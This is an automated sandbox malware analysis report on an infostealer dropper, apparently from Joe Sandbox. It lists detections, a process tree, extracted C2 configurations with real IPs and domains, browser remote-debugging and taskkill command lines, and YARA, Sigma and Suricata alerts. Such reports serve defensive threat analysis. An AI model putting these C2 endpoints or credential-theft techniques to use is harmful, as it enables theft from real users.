Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1557245
MD5:	3c1fc0e5501a732f21671110d1593fed
SHA1:	df8457ee8030c34112df1216a8457de65c80d122
SHA256:	a92119cb350ecb1278481b42dfd550cdfdebc144c39b83f291ee7deb91c23d87
Tags:	exeuser-Bitsight
Infos:

Detection

PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected Cryptbot

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Detected PureCrypter Trojan

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Connects to many different domains

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Use Short Name Path in Command Line

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 3576 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 3C1FC0E5501A732F21671110D1593FED)

chrome.exe (PID: 1260 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 1748 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2312 --field-trial-handle=2060,i,2647942614130931966,15784905078428545110,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 8012 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 5140 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2264,i,2609395164648408671,7416745225154322423,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 896 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsCGDHIEGCFH.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7004 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsCGDHIEGCFH.exe (PID: 2196 cmdline: "C:\Users\user\DocumentsCGDHIEGCFH.exe" MD5: 0666D4775F770D43FA3CF484008B6D93)

skotes.exe (PID: 6564 cmdline: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 0666D4775F770D43FA3CF484008B6D93)

5454ad7c1c.exe (PID: 8068 cmdline: "C:\Users\user~1\AppData\Local\Temp\1006992001\5454ad7c1c.exe" MD5: 74FD7B0C948CE67EEF9C33EB6BCF2F13)

bef6a59ce6.exe (PID: 6780 cmdline: "C:\Users\user~1\AppData\Local\Temp\1006993001\bef6a59ce6.exe" MD5: EA82A77AEE044C4ED6569062542CF1BC)

5b96a79886.exe (PID: 6244 cmdline: "C:\Users\user~1\AppData\Local\Temp\1006994001\5b96a79886.exe" MD5: 3C1FC0E5501A732F21671110D1593FED)

3afa1b1567.exe (PID: 736 cmdline: "C:\Users\user~1\AppData\Local\Temp\1006995001\3afa1b1567.exe" MD5: 6A0A0A32221DA964DE818524D7423BBE)

taskkill.exe (PID: 1456 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6932 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3952 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4940 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7260 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7736 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4468 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3696 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

4ff2bfa33f.exe (PID: 7848 cmdline: "C:\Users\user~1\AppData\Local\Temp\1006996001\4ff2bfa33f.exe" MD5: 2FFEAE42AA3821BE91B12932C1F311B0)

msedge.exe (PID: 7556 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 5924 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2220,i,3573248279315698429,12793080919061275164,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 3588 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6912 --field-trial-handle=2220,i,3573248279315698429,12793080919061275164,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 5328 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6956 --field-trial-handle=2220,i,3573248279315698429,12793080919061275164,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 4016 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7000 --field-trial-handle=2220,i,3573248279315698429,12793080919061275164,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7012 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2220,i,3573248279315698429,12793080919061275164,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 1020 cmdline: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 0666D4775F770D43FA3CF484008B6D93)

bef6a59ce6.exe (PID: 6816 cmdline: "C:\Users\user~1\AppData\Local\Temp\1006993001\bef6a59ce6.exe" MD5: EA82A77AEE044C4ED6569062542CF1BC)

skotes.exe (PID: 644 cmdline: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 0666D4775F770D43FA3CF484008B6D93)

5b96a79886.exe (PID: 8176 cmdline: "C:\Users\user~1\AppData\Local\Temp\1006994001\5b96a79886.exe" MD5: 3C1FC0E5501A732F21671110D1593FED)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
PureCrypter	According to zscaler, PureCrypter is a fully-featured loader being sold since at least March 2021The malware has been observed distributing a variety of remote access trojans and information stealersThe loader is a .NET executable obfuscated with SmartAssembly and makes use of compression, encryption and obfuscation to evade antivirus software productsPureCrypter features provide persistence, injection and defense mechanisms that are configurable in Googles Protocol Buffer message format	No Attribution	https://any.run/cybersecurity-blog/pure-malware-family-analysis/ https://blog.netlab.360.com/purecrypter-is-busy-pumping-out-various-malicious-malware-families/ https://blog.sekoia.io/mallox-ransomware-affiliate-leverages-purecrypter-in-microsoft-sql-exploitation-campaigns/ https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter	https://malpedia.caad.fkie.fraunhofer.de/details/win.purecrypter

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: LummaC

{"C2 url": ["peepburry828.sbs", "processhol.sbs", "3xp3cts1aim.sbs", "p10tgrace.sbs", "p3ar11fter.sbs"], "Build id": "LOGS11--LiveTraffic"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Threatname: Cryptbot

{"C2 list": ["QUERY|rd|AAAA|IN|home.fvtejj5vs.top", "0/80/home.fvtejj5vs.top", "fvtejj5vs.top", ".1.1home.fvtejj5vs.top", "home.fvtejj5vs.top", "QUERY|rd|A|IN|home.fvtejj5vs.top"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000001E.00000003.2546282312.0000000000A9E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001E.00000003.2475897323.0000000000AB2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000014.00000002.1871064932.0000000000A31000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000022.00000002.2531360728.0000000000F21000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1824673224.0000000000DBC000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1824673224.0000000000CF1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1827260082.00000000018AE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000014.00000003.1829679146.0000000004B10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000022.00000003.2478483559.00000000052D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000015.00000002.2575747151.0000000000F21000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000025.00000003.2513319007.0000000004E30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001D.00000003.2375597398.0000000004C20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001F.00000002.2583966248.0000000001118000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
0000001B.00000003.2424390722.0000000000C24000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001D.00000002.2425494913.00000000010CE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001E.00000003.2494949690.0000000000AB2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000003.1887597470.0000000004C80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001B.00000003.2412271308.0000000000C18000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001D.00000002.2419824404.0000000000231000.00000040.00000001.01000000.00000011.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000016.00000002.1929561851.0000000000F21000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1302298409.00000000056A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001E.00000002.2588705750.0000000000A9E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000015.00000003.1885552644.00000000053C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 3576	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 3576	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 3576	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 3576	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: bef6a59ce6.exe PID: 6780	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: bef6a59ce6.exe PID: 6780	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: bef6a59ce6.exe PID: 6780	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 5b96a79886.exe PID: 6244	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 5b96a79886.exe PID: 6244	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: bef6a59ce6.exe PID: 6816	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: bef6a59ce6.exe PID: 6816	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 3afa1b1567.exe PID: 736	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: 5b96a79886.exe PID: 8176	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 5b96a79886.exe PID: 8176	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 32 entries

Unpacked PEs

Source	Rule	Description	Author
34.2.skotes.exe.f20000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
21.2.skotes.exe.f20000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
22.2.skotes.exe.f20000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
20.2.DocumentsCGDHIEGCFH.exe.a30000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user~1\AppData\Local\Temp\1006993001\bef6a59ce6.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 6564, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\bef6a59ce6.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 3576, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 1260, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user~1\AppData\Local\Temp\1006993001\bef6a59ce6.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 6564, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\bef6a59ce6.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" , CommandLine: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ParentCommandLine: "C:\Users\user\DocumentsCGDHIEGCFH.exe" , ParentImage: C:\Users\user\DocumentsCGDHIEGCFH.exe, ParentProcessId: 2196, ParentProcessName: DocumentsCGDHIEGCFH.exe, ProcessCommandLine: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" , ProcessId: 6564, ProcessName: skotes.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T22:21:53.380236+0100	2028371	3	Unknown Traffic	192.168.2.7	61068	188.114.97.3	443	TCP
2024-11-17T22:21:55.105772+0100	2028371	3	Unknown Traffic	192.168.2.7	61071	188.114.97.3	443	TCP
2024-11-17T22:21:57.179884+0100	2028371	3	Unknown Traffic	192.168.2.7	61072	188.114.97.3	443	TCP
2024-11-17T22:22:01.269035+0100	2028371	3	Unknown Traffic	192.168.2.7	61073	188.114.97.3	443	TCP
2024-11-17T22:22:05.124447+0100	2028371	3	Unknown Traffic	192.168.2.7	61076	188.114.97.3	443	TCP
2024-11-17T22:22:07.502829+0100	2028371	3	Unknown Traffic	192.168.2.7	61081	188.114.97.3	443	TCP
2024-11-17T22:22:07.789733+0100	2028371	3	Unknown Traffic	192.168.2.7	61082	188.114.97.3	443	TCP
2024-11-17T22:22:11.234615+0100	2028371	3	Unknown Traffic	192.168.2.7	61084	188.114.97.3	443	TCP
2024-11-17T22:22:15.920319+0100	2028371	3	Unknown Traffic	192.168.2.7	61086	188.114.97.3	443	TCP
2024-11-17T22:22:16.493645+0100	2028371	3	Unknown Traffic	192.168.2.7	61087	188.114.97.3	443	TCP
2024-11-17T22:22:20.313249+0100	2028371	3	Unknown Traffic	192.168.2.7	61089	188.114.97.3	443	TCP
2024-11-17T22:22:21.703662+0100	2028371	3	Unknown Traffic	192.168.2.7	61092	188.114.97.3	443	TCP
2024-11-17T22:22:47.246600+0100	2028371	3	Unknown Traffic	192.168.2.7	55113	188.114.97.3	443	TCP
2024-11-17T22:22:54.826374+0100	2028371	3	Unknown Traffic	192.168.2.7	55115	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T22:21:54.140713+0100	2054653	1	A Network Trojan was detected	192.168.2.7	61068	188.114.97.3	443	TCP
2024-11-17T22:21:55.494492+0100	2054653	1	A Network Trojan was detected	192.168.2.7	61071	188.114.97.3	443	TCP
2024-11-17T22:22:09.380749+0100	2054653	1	A Network Trojan was detected	192.168.2.7	61081	188.114.97.3	443	TCP
2024-11-17T22:22:11.928708+0100	2054653	1	A Network Trojan was detected	192.168.2.7	61084	188.114.97.3	443	TCP
2024-11-17T22:22:48.653893+0100	2054653	1	A Network Trojan was detected	192.168.2.7	55113	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T22:21:54.140713+0100	2049836	1	A Network Trojan was detected	192.168.2.7	61068	188.114.97.3	443	TCP
2024-11-17T22:22:09.380749+0100	2049836	1	A Network Trojan was detected	192.168.2.7	61081	188.114.97.3	443	TCP
2024-11-17T22:22:48.653893+0100	2049836	1	A Network Trojan was detected	192.168.2.7	55113	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T22:21:55.494492+0100	2049812	1	A Network Trojan was detected	192.168.2.7	61071	188.114.97.3	443	TCP
2024-11-17T22:22:11.928708+0100	2049812	1	A Network Trojan was detected	192.168.2.7	61084	188.114.97.3	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T22:21:30.206590+0100	2044696	1	A Network Trojan was detected	192.168.2.7	61059	185.215.113.43	80	TCP
2024-11-17T22:21:53.654893+0100	2044696	1	A Network Trojan was detected	192.168.2.7	61069	185.215.113.43	80	TCP
2024-11-17T22:22:02.750565+0100	2044696	1	A Network Trojan was detected	192.168.2.7	61074	185.215.113.43	80	TCP
2024-11-17T22:22:11.623857+0100	2044696	1	A Network Trojan was detected	192.168.2.7	61083	185.215.113.43	80	TCP
2024-11-17T22:22:19.143214+0100	2044696	1	A Network Trojan was detected	192.168.2.7	61088	185.215.113.43	80	TCP

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T22:22:54.444159+0100	2054350	1	A Network Trojan was detected	192.168.2.7	55114	62.76.234.151	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T22:20:19.856664+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.7	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T22:20:19.849971+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.7	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
